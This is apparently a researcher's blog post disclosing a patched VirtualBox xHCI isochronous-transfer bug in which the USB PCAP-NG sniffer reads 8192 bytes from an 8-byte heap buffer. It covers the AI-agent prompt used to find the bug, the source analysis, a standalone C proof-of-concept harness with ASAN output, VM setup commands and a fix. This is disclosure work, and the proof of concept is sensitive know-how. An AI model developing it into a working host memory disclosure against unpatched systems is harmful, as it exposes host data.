VirtualBox xHCI: eight bytes allocated, 8192 bytes copied
I picked VirtualBox because hypervisors are full of guest-to-host boundaries, and USB emulation is one of the messier ones. Lots of ring programming, lots of transfer descriptors, lots of host-side bookkeeping that has to stay consistent. I pointed an agent at the tree with a fairly ordinary scope — find places where the host allocates one size and later trusts a different size coming from guest-controlled metadata — and it eventually surfaced something in the xHCI isochronous path.
The bug itself is quiet. Nothing dramatic happens inside the guest. On the host, VirtualBox builds a small isochronous URB
data buffer, then later sets pUrb->cbData to something much larger. If you have root-hub USB capture turned on,
the PCAP-NG sniffer copies that larger number straight out of the undersized heap allocation. Eight bytes in, 8192 bytes read.
ASAN catches it cleanly. Oracle patched it in the
June 2026 Critical Security Patch Update
and assigned
CVE-2026-46974.
CaptureFilename) — not a default setup. I am not claiming VM escape here. Oracle's public CVE text
is vague; this post is the concrete path I reported.
The prompt
I did not start with "find the isoch sniffer bug." The prompt was broader than that — guest-to-host device emulation, with USB as the first place to look:
We're doing authorized offensive security research (lab-only) on Oracle VM VirtualBox.
Focus on guest → host trust boundaries in device emulation.
Start with USB controller code and anything on the host that logs, captures,
or copies guest-influenced transfer buffers.
Look for memory-safety bugs where allocation size and later copy length
can disagree. Prioritize OOB reads/writes and inconsistent length accounting.
For each candidate:
- exact file/function and what the guest controls
- where the host allocates vs where it later reads or copies
- a minimal reproducer or reduced harness plan
- sanitizer evidence before calling it a true positive
- do not treat speculation as a finding
That last line is the one I keep reusing across these posts. Models are happy to narrate a vulnerability. I wanted file,
function, guest control, and a harness that either proves the mismatch or kills the candidate early. The xHCI isoch path
showed up because it had exactly that shape: one number for malloc, another for the sniffer's memcpy.
Where the numbers diverge
The interesting code lives in DevXHCI.cpp, function xhciR3QueueIsochTD. When VirtualBox queues an
isochronous transfer descriptor, it sizes the URB data buffer from the endpoint's packet budget:
cbPktMax = pEpCtx->max_pkt_sz * (pEpCtx->max_brs_sz + 1) * (pEpCtx->mult + 1);
uint32_t cbUrbMax = cIsoPackets * cbPktMax;
pUrb = VUSBIRhNewUrb(pRh->pIRhConn,
uAddr,
VUSB_DEVICE_PORT_INVALID,
VUSBXFERTYPE_ISOC,
enmDir,
cbUrbMax,
ctxProbe.cTRB,
NULL);
Fair enough so far. The problem is what happens per isochronous packet. Each packet's cb field gets clamped to
cbPktMax, but the running offset advances by the full guest TD length anyway:
pUrb->aIsocPkts[pCtxIso->iPkt].cb = RT_MIN(ctxProbe.uXferLen, cbPktMax);
pUrb->aIsocPkts[pCtxIso->iPkt].off = pCtxIso->offCur;
pCtxIso->offCur += ctxProbe.uXferLen;
When the URB finishes, that running offset becomes the advertised data length:
pUrb->cbData = pCtxIso->offCur;
So you can end up holding an object where the allocation and the advertised size disagree:
pUrb->pbData allocation size = cIsoPackets * cbPktMax
pUrb->cbData advertised size = sum(guest TD transfer lengths)
Neither side looks broken on its own. The clamp on aIsocPkts[i].cb is reasonable. The offset walk is reasonable
if you assume the buffer was sized for the TD lengths. The bug is that both assumptions are in play at once.
Where the sniffer copies
The other half is in VUSBSnifferPcapNg.cpp. Root-hub submit events get recorded before downstream device dispatch.
On an OUT transfer, the sniffer reads pUrb->cbData and copies that many bytes from pUrb->pbData:
cbUrbLength = pUrb->cbData;
uint32_t cbDataLength = cbUrbLength;
pbData = &pUrb->pbData[0];
...
if (RT_SUCCESS(rc) && cbDataLength)
rc = vusbSnifferBlockAddData(pThis, pbData, cbDataLength);
There is no check that cbData still fits inside what was actually allocated. If the guest drives the endpoint
budget down and the TD lengths up, the sniffer reads past the heap object.
The shape that breaks it
The reduced harness uses a deliberately ugly but simple case:
cIsoPackets = 8
cbPktMax = 1
TD length = 1024 bytes per isochronous packet
direction = OUT
event = root-hub submit event
Resulting inconsistent URB state:
allocated pUrb->pbData = 8 bytes
pUrb->cbData = 8192 bytes
aIsocPkts[0] = { off=0, cb=1 }
aIsocPkts[7] = { off=7168, cb=1 }
Eight bytes allocated. 8192 advertised. The sniffer copies the larger number.
Proving it without a full VM first
I did not want the first proof to depend on guest ring programming inside a live VM. So I wrote a small standalone harness
that models just the metadata transition and the sniffer copy — same allocation/advertisement mismatch, same copy site,
no VirtualBox build required. It lives here:
xhci_isoc_sniffer_oob_repro.c.
cc -fsanitize=address -g -O1 -fno-omit-frame-pointer -Wall -Wextra \
-o xhci_isoc_sniffer_oob_repro xhci_isoc_sniffer_oob_repro.c
ASAN_SYMBOLIZER_PATH=$(command -v llvm-symbolizer || true) \
ASAN_OPTIONS='symbolize=1:halt_on_error=1' \
./xhci_isoc_sniffer_oob_repro
ASAN output:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8192
#0 __asan_memcpy
#1 vusbSnifferBlockAddData_reduced
src/VBox/Devices/USB/VUSBSnifferPcapNg.cpp:341
#2 main
src/VBox/Devices/USB/VUSBSnifferPcapNg.cpp:724
0x6020000000f8 is located 0 bytes after 8-byte region
allocated by thread T0 here:
#0 malloc
#1 xhci_build_malformed_isoc_urb
src/VBox/Devices/USB/DevXHCI.cpp:3554
SUMMARY: AddressSanitizer: heap-buffer-overflow
That is the line I cared about. The harness prints the inconsistent URB state, then dies on the copy:
URB allocation=8 advertised_cbData=8192 pkt0={off=0 cb=1} pkt7={off=7168 cb=1}
Full reduced harness (C)
Download: xhci_isoc_sniffer_oob_repro.c.
// Standalone harness: xHCI isoch URB length mismatch -> USB sniffer OOB read.
// Models DevXHCI.cpp:xhciR3QueueIsochTD() + VUSBSnifferPcapNg.cpp copy path.
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#if defined(__GNUC__) || defined(__clang__)
# define NOINLINE __attribute__((noinline))
#else
# define NOINLINE
#endif
#define VUSBDIRECTION_OUT 1
#define VUSBXFERTYPE_ISOC 2
#define VUSBSNIFFEREVENT_SUBMIT 1
typedef struct VUSBURBISOCPKT {
uint32_t cb;
uint32_t off;
int32_t enmStatus;
} VUSBURBISOCPKT;
typedef struct VUSBURB {
uint8_t enmType;
uint8_t enmDir;
uint8_t cIsocPkts;
uint32_t cbData;
uint32_t cbDataAllocated;
uint8_t *pbData;
VUSBURBISOCPKT aIsocPkts[8];
} VUSBURB;
static volatile uint32_t g_uSink;
static uint32_t rt_min_u32(uint32_t a, uint32_t b)
{
return a < b ? a : b;
}
NOINLINE static VUSBURB *xhci_build_malformed_isoc_urb(void)
{
const uint8_t cIsoPackets = 8;
const uint32_t cbPktMax = 1;
const uint32_t cbGuestTd = 1024;
const uint32_t cbUrbMax = cIsoPackets * cbPktMax;
VUSBURB *pUrb = (VUSBURB *)calloc(1, sizeof(*pUrb));
if (!pUrb)
return NULL;
pUrb->enmType = VUSBXFERTYPE_ISOC;
pUrb->enmDir = VUSBDIRECTION_OUT;
pUrb->cIsocPkts = cIsoPackets;
pUrb->cbData = cbUrbMax;
pUrb->cbDataAllocated = cbUrbMax;
pUrb->pbData = (uint8_t *)malloc(cbUrbMax);
if (!pUrb->pbData) {
free(pUrb);
return NULL;
}
memset(pUrb->pbData, 'G', cbUrbMax);
uint32_t offCur = 0;
for (uint32_t i = 0; i < cIsoPackets; ++i) {
pUrb->aIsocPkts[i].cb = rt_min_u32(cbGuestTd, cbPktMax);
pUrb->aIsocPkts[i].off = offCur;
pUrb->aIsocPkts[i].enmStatus = 0;
offCur += cbGuestTd;
}
pUrb->cbData = offCur;
return pUrb;
}
NOINLINE static void vusbSnifferBlockAddData_reduced(const void *pvData, uint32_t cbData)
{
uint8_t *copy = (uint8_t *)malloc(cbData);
if (!copy)
abort();
memcpy(copy, pvData, cbData);
for (uint32_t i = 0; i < cbData; ++i)
g_uSink += copy[i];
printf("sniffer copied %u bytes from URB data\n", cbData);
free(copy);
}
NOINLINE static void vusbSnifferFmtPcapNgRecordEvent_reduced(VUSBURB *pUrb, int enmEvent)
{
uint32_t cbUrbLength = 0;
if (enmEvent == VUSBSNIFFEREVENT_SUBMIT)
cbUrbLength = pUrb->cbData;
uint32_t cbDataLength = cbUrbLength;
uint8_t *pbData = &pUrb->pbData[0];
if (cbDataLength)
vusbSnifferBlockAddData_reduced(pbData, cbDataLength);
}
int main(void)
{
VUSBURB *pUrb = xhci_build_malformed_isoc_urb();
if (!pUrb)
return 1;
printf("URB allocation=%u advertised_cbData=%u pkt0={off=%u cb=%u} pkt7={off=%u cb=%u}\n",
pUrb->cbDataAllocated, pUrb->cbData,
pUrb->aIsocPkts[0].off, pUrb->aIsocPkts[0].cb,
pUrb->aIsocPkts[7].off, pUrb->aIsocPkts[7].cb);
vusbSnifferFmtPcapNgRecordEvent_reduced(pUrb, VUSBSNIFFEREVENT_SUBMIT);
free(pUrb->pbData);
free(pUrb);
return 0;
}
If you want to try this in a real VM
The harness was enough for me to trust the source-level story. A full VM repro still needs xHCI on and root-hub capture pointed at a file:
VBoxManage modifyvm <vm> --usb-xhci on
VBoxManage setextradata <vm> \
VBoxInternal/Devices/usb-xhci/0/LUN#0/Config/CaptureFilename \
/tmp/vbox-xhci-usbcap.pcapng
From there the guest has to program xHCI rings and submit isochronous OUT TDs where the endpoint packet budget is tiny but
the TD transfer lengths are not. I have not closed that loop with an ASAN-instrumented VBoxHeadless run yet —
the reduced harness is the evidence I am standing on in this post.
What this is and is not
The read happens in the VirtualBox host process while handling guest xHCI metadata. The guest chooses the endpoint context, the TD lengths, the packet count, and the direction. With capture enabled, a malformed transfer can make the sniffer walk past the end of a small heap buffer.
On an ASAN build that should crash the host when the submit event is recorded. On a normal build, the extra bytes can land in the PCAP-NG file instead — which starts to look like host heap disclosure if whoever triggered the transfer can read the capture artifact.
It is not a write primitive, and it is not on unless someone turned on USB capture. Oracle's CVE write-up uses broader language than mine. That happens. The advisory says "Core" and "difficult to exploit"; I am writing down the specific bookkeeping bug I found.
How long has this been there?
The xHCI isoch path landed in the public tree when xHCI moved out of the PUEL extension pack — at least since 2022-09-26 (commit c09b6da). The sniffer side is older; the PCAP-NG copy path mostly dates to 2016, and the USB sniffer itself goes back to about 2014. The bad combination has been possible since xHCI showed up in base, so roughly three and a half years in public source, maybe longer in the old extension-pack history.
The fix
Keep the allocation size and the advertised length on the same page. The straightforward producer-side fix is to reject TDs whose transfer length exceeds the packet budget used to size the URB:
if (ctxProbe.uXferLen > cbPktMax)
return VERR_INVALID_PARAMETER;
If some isoch cases legitimately need larger TD lengths, then the allocation has to grow with the same accounting the code
uses for offCur — not with a separate smaller formula.
Worth adding a defensive check in the sniffer too:
if (pUrb->cbData > pUrb->cbDataAllocated)
return VERR_INVALID_PARAMETER;
Fix the producer first; treat the sniffer check as backup. Oracle shipped a patch in the June 2026 CSPU — CVE-2026-46974.
What I took away
Diagnostic code counts. USB capture feels like a side feature until you realize it copies host memory based on fields a guest helped populate. The xHCI queue logic and the sniffer are separate subsystems; the bug only shows up when they meet.
Same lesson as the other posts: model quality matters, but context is king. I did not need a prompt that named isochronous TDs or PCAP-NG. I needed a prompt that sent the agent looking for places where the host allocates once and copies later — then let the evidence narrow the search.
Oracle VM VirtualBox is mentioned here for technical discussion; this site is not affiliated with Oracle.